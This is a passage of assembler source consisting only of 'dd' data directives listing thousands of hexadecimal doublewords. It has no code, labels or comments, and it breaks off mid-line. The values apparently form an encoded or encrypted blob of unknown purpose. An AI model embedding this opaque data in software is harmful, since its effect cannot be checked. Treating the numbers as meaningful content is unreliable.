47B87A58h, 0E900A4B1h, 0CDC31569h dd 89EB0D03h, 2A510687h, 1CC0C0C8h, 40A8BC79h, 0E407052Fh dd 0DF0339CCh, 273F5028h, 297F1Ah, 68A1BAE5h, 9E5563F4h dd 5178DE8h, 0C0C80C7Ch, 71100015h, 0D53DB52Ah, 6203F3DEh dd 0FECE4927h, 0EAC0CF93h, 2B69497h, 657A844h, 5048A5C6h dd 720B5CB8h, 5E8F03A2h, 0EE00DCB8h, 324695DCh, 54D9E9Fh dd 0FBBC0818h, 0F4C9C4B6h, 0F40016B4h, 9E073346h, 4C369C1h dd 0A23EA094h, 0FC3FFBDAh, 98007123h, 0D2A77A63h, 0A4114A78h dd 4B40ADB0h, 9F8B01CFh, 47E16694h, 3C952B3Fh, 0D23E03Ah dd 0C5584001h, 5EEE708Ah, 0C8B76408h, 400D828h, 1A7B863Fh dd 0E06DD426h, 0BDD50036h, 0EF9B90C6h, 970110D8h, 0CBF5F3FCh dd 9B7BB5D3h, 0ED5F80D8h, 0B39A9BDh, 3EA66569h, 0C88AF010h dd 72F40900h, 0EC4C609Fh, 0A96B395Dh, 0DA5B8889h, 314DB856h dd 810C9B3Bh, 42B778CCh, 127A80D8h, 0F2A06532h, 8B278834h dd 14717686h, 16106A08h, 0EB7CBC4Fh, 23582ED3h, 0B61C73h dd 0CFC51BB5h, 0F24FA64Ch, 9A50A4D0h, 0AB04F505h, 83ED8029h dd 0F30C7107h, 0AC2C0447h, 205B413Ch, 47F4A94h, 46D67CBEh dd 3A1E0007h, 973C69FEh, 800E27A9h, 3C3664C9h, 10DB5F94h dd 0BAE63780h, 955A146Ah, 50A218F6h, 16B6E230h, 14F9154h dd 0D2A85671h, 2607C48h, 571E2242h, 5B5C5080h, 8028C5E8h dd 0FD63CED8h, 4887C89Eh, 41C486D4h, 568080C2h, 1895EB2Ch dd 168B4D91h, 0F056928Bh, 0C3B0026Bh, 94B8D70Dh, 0D01254F0h dd 4CE361E1h, 80D6240Ch, 970B14A1h, 517F1B9Ch, 184FD9E4h dd 5A6A0977h, 645C09E6h, 465C0CEAh, 0D28E0006h, 0A91A9AB9h dd 18CB985h, 0BD408B64h, 0FADA61CCh, 50791C51h, 91003718h dd 470828E7h, 79D8A7Ch, 0FCF20420h, 870BAB93h, 0A1122C76h dd 2F7B54E2h, 1042516Ah, 1FA489D5h, 80759164h, 0AC5A3489h dd 5F907121h, 0A2A84085h, 0A8D719B4h, 61F0F900h, 0F3A33D05h dd 0ED5E2C4h, 0BB649AFBh, 15288D02h, 84B57F00h, 7782006Fh dd 0DCEF9FA0h, 0BA277A9Dh, 0D108D935h, 569184Eh, 8B54CAC2h dd 640FEBF5h, 589444E0h, 0AAC9CE9h, 0E4FC008Ch, 0B5BE3966h dd 6A24EC95h, 94089C1Eh, 985925EFh, 3ADFFD80h, 0E43FAF92h dd 0D0209FB7h, 8706111Ch, 0D2AB2C00h, 0BE3AE3FFh, 0F06E0463h dd 0DB8D447Ch, 0C005884Ch, 0A2C154DCh, 0DE0550Fh, 0A94A0960h dd 40F8FC8Ch, 6A957904h, 0C2B9210Bh, 67BC5C44h, 845C6B05h dd 0B4548A51h, 0EEB8E8A9h, 48B62405h, 0E0FC6530h, 27C57E7Fh dd 0DC6D7B2Ah, 0E09380C2h dd 0BCD8F206h, 0F6AE01C4h, 6B640289h, 1CB75C12h, 851C9A4Bh dd 0F0ABF0h, 0F1E89919h, 1B180Ah, 0E881ADFCh, 0F894CA4Ah dd 0D5059C79h, 33D1E41Eh, 98E2F874h, 6E3012B2h, 0E1242529h dd 0FC643429h, 9C8B2D00h, 99DE562Ch, 849F3D6Eh, 0E0DC3800h dd 0A1ADF7D1h, 888C794Bh, 12DF05FFh, 0C40CAC19h, 0C88CAD50h dd 5F878AD0h, 3E00BEF0h, 51728B65h, 9316F26Fh, 0A0E2948Ah dd 3704DD04h, 0A8971C0Bh, 0F0B1A817h, 9D5420h, 15194538h dd 1F2041A0h, 0C0006D9Fh, 14440CFBh, 0B1CAD58h, 5CE253A0h dd 1346F684h, 0C48E5100h, 35595FEFh, 0A844CD01h, 706B282Fh dd 0BA04C42Bh, 9D01A06Bh, 6655B9Fh, 64CB2ADFh, 6CC013C8h dd 4258E94h, 74E85C71h, 5BFCC7F4h, 9E8A7CE0h, 0A69F88BEh dd 120F9408h, 70C000EFh, 3ECC5032h, 80AC6D48h, 0A45DAB75h dd 0E5FB0038h, 30696A8Dh, 39E60C99h, 0A8378B09h, 56E40B14h dd 1512DEA4h, 7413B2F6h, 140038E2h, 4A95EAE8h, 5E1676FBh dd 0D03E23Ch, 1F54946Eh, 0ED99F668h, 0ED6F800h, 0D87C6091h dd 0DD709A7Ch, 0DCF3115Bh, 7A304EA2h, 431C0068h, 72504D0Bh dd 34945FE9h, 0C5841709h, 6013E4E0h, 30B214C9h, 0C7B05086h dd 2C99B6AFh, 5B8D6201h, 0DECC2D36h, 4EA600D6h, 0AEF3E946h dd 0B8040478h, 8F52A9E4h, 0C5070F8h, 1D97228Ah, 9EE87760h dd 258E896Fh, 1C5C4699h, 0E4A71862h, 414CBE6Ch, 0F0FEAE1Ch dd 0B60033AFh, 6F7EBCD2h, 30F450Ch, 0EF636B9h, 65CFE276h dd 0A87ABFC0h, 4CA20700h, 8CA9210Dh, 4DE83A7Eh, 4CD11491h dd 90F2DC19h, 7A43F58h, 72B19D38h, 0A264C81Bh, 2C69E9DBh dd 60097E8h, 73751442h, 2FDDCE1Ah, 60D98096h, 8D213503h dd 682DFA08h, 1C6D88Ch, 0CAA58FAFh, 67101A60h, 409F01F8h dd 627BB6D4h, 8E202C2Fh, 0C16BD641h, 0DACBE120h, 86F098D5h dd 31DD64h, 9C3CB2F1h, 0F80C4B3Ah, 0C2908C46h, 8EC9005Bh dd 0A95019E0h, 80B4EF33h, 105465Eh, 0ED2867C8h, 0E0D0D5D1h dd 6200B839h, 9F57816Ah, 98F498E0h, 8D6E1609h, 283257A0h dd 512D5476h, 50080008h, 26455CF1h, 71F28A25h, 0E2248BC8h dd 73123044h, 0DCE364D1h, 0A88CE94Ah, 13BB7F8Ch, 0C81AA1F6h dd 0DA00D324h, 63AC0EEh, 13BF702h, 0FB11D5CBh, 41F66D44h dd 6BDCC6D6h, 0F4FAA009h, 0A8789440h, 0C071A925h, 26202188h dd 2AE1D50h, 46658A7Eh, 9BC2E57h, 89A000D5h, 17A67B4Fh dd 858D6A80h, 0CC48AAF4h, 0EA46845Ah, 0F0B4F1A0h, 895F6671h dd 5D94ECC2h, 640EE464h, 0E5EBC6B3h, 58FC16A8h, 0EBCF4D12h dd 9B08A001h, 0A8004BE9h, 0F85AE4F2h, 80B0FC80h, 40D61DBDh dd 95474198h, 10843E4Dh, 3D333137h, 9E80346Fh, 0EEB4B344h dd 91BFBA51h, 0E02A76ECh, 94800F28h, 0BFF27C99h, 3FAA3068h dd 4635582h, 83718813h, 9F7F9020h, 92554B5Fh, 681185CCh dd 8ABD1020h, 5888BCFEh, 92DA0021h, 9CB84073h, 426CC995h dd 20CA215h, 0DF4A5D6Fh, 110DE035h, 0E6E42FD8h, 0A5A9BCC0h dd 687CEA2Dh, 45B6480h, 0B19308D6h, 0CC89157h, 0F0B62A54h dd 16157910h, 0A0D06B06h, 13BAA6B4h, 0E0C0DAB2h, 4F902A8h dd 2176AC81h, 0A240C304h, 8B54E4BCh, 0E9661140h, 3CDBB1AFh dd 1F2E3F70h, 53833BCBh, 2750A4E4h, 4F491760h, 7C0AF8Ch dd 0A4796EB4h, 89D2E7DCh, 0BA09CCF0h, 7090774Fh, 10ED9FCCh dd 4680E8C5h, 5C4EB9CFh, 2E0DFC09h, 0FC811828h, 0F307E0BBh dd 3F7E6D29h, 0FCF2A5F0h, 22288109h, 89760060h, 0BC9FF641h dd 0DF6607C1h, 99E0DA1Dh, 0C5241A57h, 620BC4BCh, 4504043h dd 383A416Fh, 71C42540h, 9E40E044h, 9A128045h, 440FB3D6h dd 10F8D45Bh, 221666B9h, 0F8A8A8DFh, 104A8C4Bh, 8B0054A2h dd 0A8DF3607h, 1C9E1E75h, 53B873E9h, 27423090h, 35AF302h dd 0E6948A2Fh, 0DCEA14E0h, 0CC4AA8F9h, 2C3B9FACh, 19A81FE3h dd 16200806h, 0ACD2F108h, 0D71990h, 0AB3DD6BCh, 0ED30C5Eh dd 528F94B4h, 0FB84307Ch, 79B70D56h, 590466D4h, 9A258C2Bh dd 0D6251C71h, 0A407DC1Ch, 56A04C1Eh, 0CDA7A03Eh, 9A46F4DDh dd 4F449840h, 0E7A4B636h, 79D83DBh, 2E85BFF6h, 416D482h dd 0C4CAAABAh, 45B3810h, 0F6A4D2A8h, 5ED838ABh, 354E949Ah dd 3AB0F4A6h, 130FD2C8h, 0C0908D77h, 56A996F9h, 10249A75h dd 16285EF4h, 60AC5895h, 71294CA2h, 30BB0070h, 347B6DD8h dd 1323D12h, 1704B703h, 7B387224h, 0C90602FFh, 3638E2FCh dd 75840DBh, 68C94C37h, 0C2CCB84Bh, 0C044A0B7h, 82ED7040h dd 4580AD5h, 314EEDEh, 9FCD9D6Eh, 58274D61h, 0B60C074Ch dd 4EAB444h, 0AB79E5B8h, 9C093C8Ch, 5E9140h, 40A2C273h dd 98AC72FFh, 0E774A149h, 9548B7D8h, 86854471h, 0F04BA18Ah dd 4B345630h, 5900AC59h, 69B0344Ch, 9E871F1Eh, 2C71E8Bh dd 663CF44h, 8F89007Ch, 0D630DE08h, 9BBBDA2Eh, 0D5CE4800h dd 16079836h, 12448F9Ch, 0B8E0F920h, 0ACE2026Ch, 0B0AAA511h dd 0E044157h, 50386107h, 8055F25Eh, 0CCFEFD8h, 984DBDC4h dd 0A29B76C0h, 902D00E5h, 6893A043h, 7E405D92h, 1720049Eh dd 0FFC1B60Eh, 6CB24C74h, 613012B2h, 0EA1900C7h, 0E428FE8Ch dd 0E016AD6Bh, 70E026FCh, 0EB21216h, 0C110B96Eh, 243E336Ch dd 0F0584473h, 215C0418h, 0DA3089F6h, 7F1C3863h, 0F01F4807h dd 0E8C12F8h, 0EC23D216h, 0B8037184h, 30DE5B4Ch, 1CF991C1h dd 0EC862AB5h, 0F1534AB8h, 0F4B62F3Ch, 0D66639E0h, 0F92DB400h dd 422EAB30h, 81401A8h, 88F22022h, 54713A03h, 0C52A8AB0h dd 0E0C0A6ECh, 1602D033h, 88503F1Dh, 0D2FEC744h, 3100A7F2h dd 877925B6h, 2FE16Dh, 5DB47DFAh, 64AFD1A3h, 0CF1A9312h dd 636BA404h, 4F244E2h, 3920FB30h, 639C32D3h, 0D5057870h dd 0FAF0BF60h, 6CB59C12h, 0FB8547Dh, 0E5930813h, 5E070C80h dd 0A5F62D72h, 5B9D1CE0h, 82B16303h, 0AA94912Ah, 48D8BAh dd 0BC0A26D6h, 999AC14Dh, 732DA0BEh, 3B517898h, 0FCF87800h dd 0D7380ED5h, 0E00B9D86h, 0EDC205Eh, 0FE42DA98h, 6D050D00h dd 282AB795h, 0DB60AC0Fh, 0F375F93Ch, 27380031h, 145A6C2Fh dd 0F000F434h, 0E2D9DA0h, 0EF82E5B3h, 8B90753Ah, 0C04E88B4h dd 0FC37A3FAh, 3FFC0173h, 3B189F09h, 51DC56E1h, 30B22A33h dd 571EF082h, 800837D5h, 556C4CB6h, 0B5167B2Bh, 38B2633Eh dd 0DCE05602h, 0C8562472h, 9B8A4377h, 60B0E14Ah, 0F9364B18h dd 2EE9ADC8h, 163EBC63h, 0A53E3F80h, 0D8BD9B06h, 0C801891h dd 0DEEF8D26h, 80650012h, 9C581067h, 0A00145BCh, 7DD86339h dd 5DF28EFCh, 86EAA4A2h, 39E496DDh, 28C020DAh, 0E1FCA09Dh dd 2DE89DC9h, 4071EAADh, 3EAE4844h, 722308h, 9C2BB62Ah dd 0D688893Eh, 0DC51FB2h, 22140042h, 69109F01h, 595D582Dh dd 8B068280h, 0A07482CDh, 2660512Dh, 0E43F9644h, 271FDBE4h dd 12C06243h, 33C02038h, 0F4DE0D37h, 61F809D2h, 8C9A2AB4h dd 3CC07C88h, 3ADB2D29h, 210273F5h, 1CE122C3h, 0DB1F1E02h dd 0FFCE70E0h, 48B80725h, 91BF68h, 0D1E544EAh, 0DC79490Bh dd 0CA1A4702h, 0FAB83995h, 53BB0004h, 4E94ABBEh, 0D70086F0h dd 0E768F18Fh, 9FA0AA7h, 4DAFB6CEh, 0DE6B7CFEh, 12319038h dd 0ACCBF1B5h, 22C00BC8h, 1EB29D75h, 923532A8h, 4B60E7A4h dd 4BA830E9h, 249A4D26h, 9492F100h, 4B9F2DDAh, 7DE0D0B6h dd 731DC184h, 3D40C533h dd 41CC9B64h, 53140F9Eh, 0F4A2FDDBh, 145E30F6h, 0D8A901F4h dd 73080AEEh, 5208386Dh, 6ABF921Ch, 83020068h, 2259638Fh dd 78964C6Bh, 2D15C210h, 131C20B7h, 0FEEFD956h, 653A00CDh dd 41716275h, 0C4B5DFD4h, 0F0719538h, 0F7908E03h, 1631D84Fh dd 0E04A0093h, 196B4E3Eh, 0A509FA7Eh, 712043DDh, 1878D94Ch dd 0B4A7029Ch, 0F734F3C5h, 5014C1h, 92E6FC80h, 206695ACh dd 0E3444B5h, 0A5B13C99h, 23662840h, 6D3BF0ADh, 7709097Bh dd 0BFD87037h, 6BC080EDh, 1650CD79h, 0E65F87A6h, 9B25E040h dd 37382499h, 0FCDB2F58h, 63AFF873h, 0D58A0B42h, 0D004970Fh dd 44AC125Fh, 8E9194C2h, 6BC1B0C9h, 0D6C90CDBh, 7035B00Bh dd 28805111h, 0FFCAF397h, 1C38CF79h, 0F670A5B2h, 0A850E0F0h dd 225A54F2h, 0D3B08844h, 0AD1016BFh, 45B8B4h, 34B53251h dd 4119D6BDh, 0F6C81A97h, 8802DC9Ch, 4004E867h, 6042750Eh dd 592508F6h, 0FBC8B410h, 5CCB5387h, 4FE55338h, 0CCC270D0h dd 7CF2958Ah, 483DCE25h, 8797A4h, 0CD23D45Bh, 5082B273h dd 1D599F09h, 18805749h, 6CCF1EEh, 534BBB90h, 0A93854D1h dd 9A2ED85Dh, 0CA3B806Ch, 9D8BCB7h, 926FF116h, 5599C73h dd 0F1024218h, 0C7D4B762h, 166C7430h, 9338ED73h, 34A8BCFDh dd 0ABE61B12h, 0A69604B9h, 0C5D6E084h, 1C063164h, 7EA71839h dd 4116A48Ch, 0A4282B14h, 8C9FB508h, 77850A11h, 7435AE36h dd 0B86EAFh, 4CB93071h, 0D35D2F34h, 0D46EAE18h, 45B40272h dd 1019F0EAh, 2540C755h, 1EB788E0h, 0A91A2813h, 0CCB8D0FDh dd 77E48902h, 5C9571FDh, 1646769Ch, 2A38B500h, 789E096Dh dd 206DC25h, 90A21844h, 20FC7EE0h, 6695117Ah, 4000B694h dd 0DC5D6AA1h, 0C82D3873h, 569C42C7h, 100C406Ch, 0F400CD84h dd 0D14043DEh, 988DCB2h, 0C6CF3E78h, 74E45045h, 7A91D461h dd 6C781482h, 98EEB0D4h, 0F0631314h, 0A2CCE310h, 33A7304Bh dd 0DCA8C295h, 3C3EDC6Ch, 474584FFh, 24880164h, 0B15FC18h dd 675D8A4Eh, 0B60B3458h, 58FDA706h, 0DA460B30h, 0B054FA6Ch dd 81E22484h, 64926847h, 80D48877h, 51559A18h, 5EE2A610h dd 0ABB884A4h, 149FAC30h, 0A19B050Fh, 0A011DEC1h, 609DEB14h dd 0BF4DA850h, 0AA03B4B7h, 0B8D0EC01h, 25F0FE20h, 0C87198F6h dd 7D1F2A42h, 0D80FF43Dh, 92A8C0ACh, 4EC0FAAEh, 0B82CB97Dh dd 0C5B600C2h, 7868A1C7h, 61BFAFA9h, 9B2EEF70h, 5A8880F4h dd 0F43FC824h, 0D9842505h, 0A16ECC56h, 7DF98B08h, 3D88027Fh dd 16D70FC7h, 8E71007Ch, 11D25D0Bh, 0F212A2B8h, 0A8B80F15h dd 0C8DCCBD2h, 10D5C907h, 13D851C8h, 971EDCDFh, 5EE342D4h dd 2191B054h, 76AA700h, 15ECB361h, 0B029F9h, 4EF6119Bh dd 0ACD477h, 0AF30B456h, 1BE3872Dh, 0FC48EB2Eh, 48F88312h dd 4E8C0BE8h, 1238B3EDh, 54B5A28Ah, 1B80D96Ah, 0B402DF84h dd 58728E69h, 53A91238h, 4F00BDFBh, 0A4E860ADh, 2706F100h dd 84CCAF8h, 0FEEC26F0h, 0E94F3C81h, 5A9108B8h, 0AEB6138Ch dd 6AEF3074h, 9DD305B8h, 64E8CF9Ch, 2172DA80h, 0B0B03A33h dd 132A6A20h, 9B340944h, 7B5F80F8h, 0F0A8A0h, 0B5ADC7EDh dd 6681731Ah, 91DC1DBFh, 17C08012h, 0E2DE207h, 19D09A0h dd 8424BDB2h, 0E8175630h, 1E700050h, 18CC22D6h, 0C1631F6Dh dd 1AFC06EEh, 0C3003029h, 0E2AD5EDh, 45E1215h, 0FE63FDEBh dd 4E1C9018h, 0A82FEAA6h, 0ADA0A219h, 9D3C781Fh, 6B972859h dd 0AC165CBDh, 23A007EDh, 31218DDAh, 0CEE980CDh, 0BB07D1F0h dd 25A0709h, 4FE5D04Bh, 1C5E88C9h, 0EA0CF18h, 0AF948318h dd 30C42416h, 848060ACh, 4A7583E8h, 4682A700h, 0A8D2481Dh dd 0F40F40EEh, 0D41F6671h, 64040DAh, 0DF80D18Bh, 671BD24h dd 4526562Dh, 17940039h, 0F9858919h, 0ED197AB7h, 0B50C86E7h dd 7704A979h, 8FC3C96Dh, 2BAED07Dh, 15B0088h, 0DE2CD343h dd 0E37A66E0h, 7C08305h, 3300E856h, 106CA522h, 0A5F9B5D4h dd 34C62E00h, 36483ECh, 3D22D845h, 408E5F13h, 3B1DF9E0h dd 17D90FD0h, 9C46033h, 1AE13085h, 0EAB9619Ah, 159F3F1Dh dd 2932E98Dh, 16B9B82Eh, 61BBD58Dh, 15208483h, 0AAAC4BEh dd 15A50Fh, 80FC60FEh, 6114F6D4h, 94849589h, 3FE93798h dd 0F4B58D01h, 0B66F17F1h, 94C0F4FFh, 0A2E70A9h, 8F0FC5D8h dd 5DBB4097h, 440BD2CBh, 0D5F5D780h, 0F075C032h, 0C0EC7F36h dd 0AE518F5Ah, 6C79C51Eh, 75A5E325h, 4E21C3B5h, 56219881h dd 0BAF5DF38h, 1145B66Eh, 19500681h, 0DB14418Dh, 54DA9h dd 8007CCB9h, 5124BD31h, 0A912428h, 98E6A900h, 17C968F5h dd 0F2501A75h, 8B1BFCD1h, 0BD53A1BDh, 3CA988AFh, 0DD966700h dd 62AE2D7Dh, 0C02B132Ah, 0F3DEAEBAh, 8E77A7CBh, 6A826A88h dd 0C9953107h, 33AD0378h, 5801D1C2h, 4E983D0h, 0F66BF475h dd 0B472E019h, 5FE3008Bh, 0C1BC55CBh, 22880DE9h, 9CEB00CDh dd 3735834Bh, 0A0AFF2Ah, 4DE81243h, 74D17305h, 81F708C0h dd 34DE38CBh, 0D5B3D05h, 3C9EEA88h, 0CFC3FAD2h, 42B7E137h dd 3FC0B26Fh, 2F86819Fh, 0EFEB36E6h, 0C170ED2Eh, 1BBD958Bh dd 0BCC6A92Eh, 0F44F79E8h, 9925005Bh, 816655F8h, 44898EFh dd 18DD09E2h, 49ED5F13h, 8B5008C0h, 3718E4C2h, 8E08C103h dd 1965EB95h, 0B8DBEF58h, 91CDAA93h, 0E06CB67Ah, 983DD62Fh dd 1DB92034h, 0F79D2924h, 0BD9E4D24h, 0BE0419F5h, 72CC3484h dd 9DB870F9h, 0DF524A7Eh, 39C089EDh, 20B589EDh, 0FF3109BDh dd 305582E1h, 5403F0Ch, 0BA9D4E31h, 88137F10h, 5B471101h dd 0BB90EEF8h, 5F45C502h, 1990F9FDh, 86120F03h, 0DBAB04F8h dd 82F9C094h, 9F0E22Fh, 0A7BCD393h, 0A1B52686h, 659D890Eh dd 6092DD1Fh, 0C7AB9AAEh, 81DF60D8h, 22B2AFFBh, 1261E07Ah dd 0F8C6FBBDh, 11F0D82h, 0B472F03Dh, 80FEA3CDh, 9D1218E1h dd 0C90A6785h, 2BF0AEA1h, 0A1E8D6FDh, 0AE922h, 9F02D71Bh dd 45FD5349h, 0FE62C72Ch, 17FBB917h, 0AF6EAF42h, 837D6309h dd 9B40E55h, 732898FAh, 6BEB0392h, 28C0AC3Ch, 0A2FDDEC0h dd 0A7A57F03h, 2133E231h, 16F1057Eh, 0F9034C18h, 22BF669Eh dd 32B3C918h, 1A95B17Ah, 0A0D2C067h, 16D03522h, 0EF4F06B1h dd 8A0FF621h, 0DD438663h, 1704E818h, 1F6603FFh, 0BD395276h dd 0BB109ED0h, 0EE4BD115h, 0C9AB221h, 7D21FB40h, 40D23CC9h dd 4DB4600h, 0C648F8B6h, 0F5D83E06h, 5AAB8B5Fh, 0C0FEF850h dd 664CEABBh, 8B5B315Eh, 0FDC99310h, 0FE71454Fh, 0BB3BBCCh dd 0D88B5806h, 0AE3D1885h, 9BBA60C5h, 0CC8B80C3h, 0E0510994h dd 646C486Dh, 5824DD10h, 0C4540B13h, 47BD16h, 644A4E7Eh dd 0A04A87E2h, 9DA26320h, 0C14C3838h, 0BE527D00h, 115F4903h dd 36F6750Ah, 960215E8h, 60BFCB99h, 39E391h, 27665C31h dd 6F2A470Bh, 0C0C66058h, 6333227Eh, 0FEF10011h, 7A9D441Fh dd 4CB0E58Eh, 0A0A7E700h, 6E95F61h, 0D8BBB302h, 0CE0BAA37h dd 0A4CD73ADh, 23816044h, 49071061h, 524CC505h, 0FC9AAA9Dh dd 0F6717BC0h, 60164ACAh, 30EB8D0Fh, 0B58BC0A6h, 6F353D33h dd 1F1885C7h, 0CD7BD1EBh, 7B855024h, 0AEE0B3A6h, 0CD0047B4h dd 0B0C0E4BEh, 38334E86h, 8941D9BDh, 772A55E6h, 7EE0A66Dh dd 62F336h, 6FC7813Dh, 894918E9h, 0CF040678h, 4707906Ch dd 0E09D6CD9h, 891E82CBh, 0BAC30446h, 96051D92h, 0FA66C3BFh dd 0F81508AEh, 5BC4B5FFh dd 1BC6EADh, 0A34FB500h, 50342A6Ah, 20AC4BB7h, 0CE1965C2h dd 0F0A6200h, 0A068F9BFh, 90722448h, 36046076h, 2BFA51A9h dd 83826A38h, 0E0DD6BAAh, 81A8E16Fh, 3C5F7130h, 7DC8ACBBh dd 0F06028CFh, 5B5C7405h, 97A26501h, 0E62CBBDAh, 0E26F0FDDh dd 1A080028h, 0F564F360h, 772D099Ch, 8D0070FBh, 104A72CCh dd 8D5B6212h, 9BBAE752h, 0BDA1C19Ch, 3D50A6E2h, 1C7C4D7h dd 0E107A70Bh, 0C01E83DEh, 0DF261F0h, 4063D414h, 50FE16C5h dd 0F4DD66FBh, 7BDEB3h, 918F84ACh, 0BD0BE637h, 490EC149h dd 20BE9787h, 0EBD390C6h, 63032A72h, 0D9E148C9h, 2B3AA815h dd 1252BD9Dh, 0DC615F2Fh, 0A700DC2Ch, 0D04EE4ECh, 5F3BF6B0h dd 0C2FAEC6Bh, 0E685C7F5h, 1302B998h, 0E9B605DFh, 9C4C92Fh dd 4DD764CFh, 0F458F697h, 0A51CFA73h, 0CE2E45E9h, 0A62A00F6h dd 546308BCh, 843D5A1Fh, 1128081h, 30502E6Bh, 7311B80Ch dd 90C1F444h, 0EA4F55Fh, 894C1FB0h, 0C0685803h, 366EEBE7h dd 6421F036h, 1BB170CFh, 28299A50h, 58180621h, 57016813h dd 0BD54B1Bh, 6537F74Fh, 0A8B22D00h, 26F4D807h, 13BCB5F0h dd 8B6C88F8h, 7ADC931Eh, 0D60656C7h, 12B7773Bh, 0B52FAB00h dd 259D8B0Dh, 0CA392879h, 0F7147003h, 0DD56045Ch, 0E47919A4h dd 0EACFDDF6h, 0FA0BBC40h, 0D09800DBh, 1FC7181Ah, 661342BBh dd 0A5082145h, 0B5756B54h, 6FDF0995h, 969D102h, 40CC4FFDh dd 10DA6AB3h, 0FE6B1226h, 261F3508h, 0D7481077h, 1C9D6AEFh dd 0B101E5F6h, 0DAE44856h, 9DDFBD61h, 6CAE88FBh, 0CA6F6B00h dd 0B479E519h, 0E01A1688h, 0BEC11759h, 6004E218h, 0F8E63881h dd 0B4C3581h, 6515598Dh, 838320D5h, 24342686h, 0A3B0A190h dd 6894D08Dh, 140C4E00h, 0B6BF66FFh, 29B8A010h, 37418232h dd 682D245h, 9D940BA5h, 120543A0h, 318519C5h, 20511844h dd 0C4868902h, 616EEFFDh, 0D4E10FEBh, 54FE8F8h, 7AFA4456h dd 0CBF30FE3h, 3FCCE119h, 1BE88236h, 0DC28FB60h, 890F5B09h dd 4B4E7Fh, 0F20BD415h, 61C44A2Eh, 0CF392DB8h, 0C283899Fh dd 0CA4D5704h, 522B0860h, 1C781B0Ch, 0CF9854D7h, 8D2E01C8h dd 89849629h, 19E12050h, 8CEF9A6h, 8A3FD8E3h, 0B60F499Dh dd 0D709B847h, 90E1CA6Dh, 1EC42082h, 0F873847h, 3B908CA5h dd 6578C51Dh, 2E045CD2h, 47142255h, 0CFED9AA5h, 0AC25A2E0h dd 0D0517Bh, 0EF84C81h, 2A01C205h, 0C689315Ch, 5421BBADh dd 1EC2F7C6h, 5833D375h, 0C2C4F6F1h, 65140579h, 9423A512h dd 0CA3830Ch, 52693377h, 98625F04h, 0B6960404h, 82E8E0A2h dd 0E2F90508h, 8CD2E04Ah, 0AA1EEF13h, 7CC25416h, 0C247F2DAh dd 11AF37FCh, 9123801Ch, 575DE3h, 58B09276h, 12C99501h dd 0DA2484B9h, 9BBF0C35h, 0EE308054h, 0B09E1166h, 14951033h dd 77718913h, 0CE40C5EFh, 2BDB643h, 60767591h, 0C68F50BFh dd 0F7E5BBC0h, 5F5041F4h, 0B351B7C9h, 769325CBh, 925E0DFh dd 11C80060h, 0DF8A2A28h, 822F0F26h, 614C910Ah, 9D2DEC2Eh dd 0C56DBFC1h, 7A664F18h, 8D3018E2h, 0B75A12D8h, 0D90EFB6h dd 0E92A71h, 54BC72F6h, 0E14682C6h, 0DC5BEF28h, 7405AD2Fh dd 0C00F4F2h, 0B5BF8375h, 2B94E19Dh, 2F638EB7h, 0DD4C2FCh dd 94F20907h, 112D5A0h, 0E20B4B7h, 2B1C911h, 0A77D0E04h dd 8F9EB037h, 4C3C028Bh, 1A456A5h, 1AD59260h, 3838F881h dd 77BD0F27h, 86DD4900h, 25C0BE11h, 0C406AE0Ah, 3C93B4C6h dd 37E24278h, 115800Fh, 355185C7h, 5710A565h, 15813B37h dd 0FFF118E9h, 26DFDC6h, 702715C0h, 8A3516FCh, 5F874E57h dd 3741C169h, 16A82B1Eh, 66DAEAA5h, 0C60AD80h, 0F1001766h dd 5DE78150h, 3C2F0A63h, 0AF2905Bh, 1D3D8529h, 94402C32h dd 0BB030830h, 628F2E46h, 0A3118E12h, 61A9C1EAh, 0FFF50205h dd 5B50DBC0h, 8F22E798h, 0D98A2702h, 0B3F92801h, 0F8509CEBh dd 38D0E9EBh, 840F118Ch, 95090406h, 8100284Dh, 91B443CBh dd 65EF5B4Bh, 54DAFA52h, 2D09A883h, 10A56010h, 0F9DF8D38h dd 0E1F8B7h, 0BB66DC85h, 0D1FFEAF6h, 73F97BBDh, 200913B9h dd 0C4BC06B8h, 0E80FDD8Bh, 84173D1Ah, 0FD928525h, 620F00BDh dd 392C80D0h, 547DB509h, 3802AA1Fh, 4ADD9D31h, 5ABEBF03h dd 8B923050h, 7357FA92h, 1A1F58D8h, 0A2AE6D12h, 34A98504h dd 0D9B70F02h, 16C446EDh, 82B89160h, 41BD2B09h, 2DA0490Fh dd 3D88D9ACh, 0B2F4F8DFh, 107C441Bh, 423C1BDh, 5B58B60h dd 9D331090h, 48C7B201h, 5E0F9661h, 0DBB6168Fh, 60F78265h dd 4BE36036h, 61DEED50h, 0D63CC113h, 859009D3h, 0D84B5DE6h dd 6FD213AFh, 0F53B138Bh, 64540901h, 882C35FFh, 820C690h dd 4025DDFBh, 0F781660Dh, 5F878D27h, 1C11AE35h, 33736B80h dd 1E02CA42h, 6A746C49h, 70F753FFh, 0B900F048h, 56E72521h dd 4A71B589h, 5DA14B13h, 0D7819620h, 962CE160h, 3190F279h dd 147E90Ch, 75208DFBh, 48B0700Bh, 1A201833h, 9870E626h dd 0C4372B9Ah, 0ED250025h, 3E769B30h, 0A002F488h, 0E40DE1B4h dd 653F4071h, 55F69D25h, 0A06F1046h, 8221197Ah, 4A006F59h dd 5A856F6Ch, 0A8C51E52h, 89764FD0h, 8287A43Eh, 0C8B60F5Bh dd 9D98C6F7h, 7400EB56h, 0BAF2E84Fh, 248C8A06h, 770F6AFAh dd 0C1606DC8h, 43D5A92Dh, 17B2F83Bh, 1FAD88Ah, 2BFE8B16h dd 0B99C88C8h, 89600210h, 1CCBE195h, 0DC0BF6D8h, 8B614000h dd 3CD6BFD1h, 77444C79h, 0E9C37509h, 3606F10h, 0C699515h dd 17B0C099h, 164A48Bh, 0C06F4194h, 9C0BCB95h, 0B9EA8552h dd 0E3251EB6h, 0AD065186h, 5218401h, 70745F02h, 3BBC4BCh dd 1F6C1B8Fh, 15065DE9h, 153D9D09h, 0C0DC97CBh, 592D06Eh dd 0EE61F63Ah, 8201858Dh, 623A1959h, 79293180h, 3BDE0028h dd 0F65FF8B3h, 813DD804h, 3E87E11Fh, 80A58382h, 0BD01FE28h dd 0AADFD089h, 4C55EA69h, 91B397F5h, 29011DE2h, 8732BD9Dh dd 0F36EAB4Bh, 0F5308702h, 0B86A9690h, 0CDDD8CA9h, 60174451h dd 2CEF2EBh, 593FBB45h, 95415E15h, 0B9F9855Dh, 0B3210761h dd 9D48E8DEh, 832B0097h, 8C11E455h, 4F04CF93h, 2DB8B21Dh dd 0D8807AACh, 86BCA463h, 0E2A09200h, 0B7D1BEBh, 17FD0405h dd 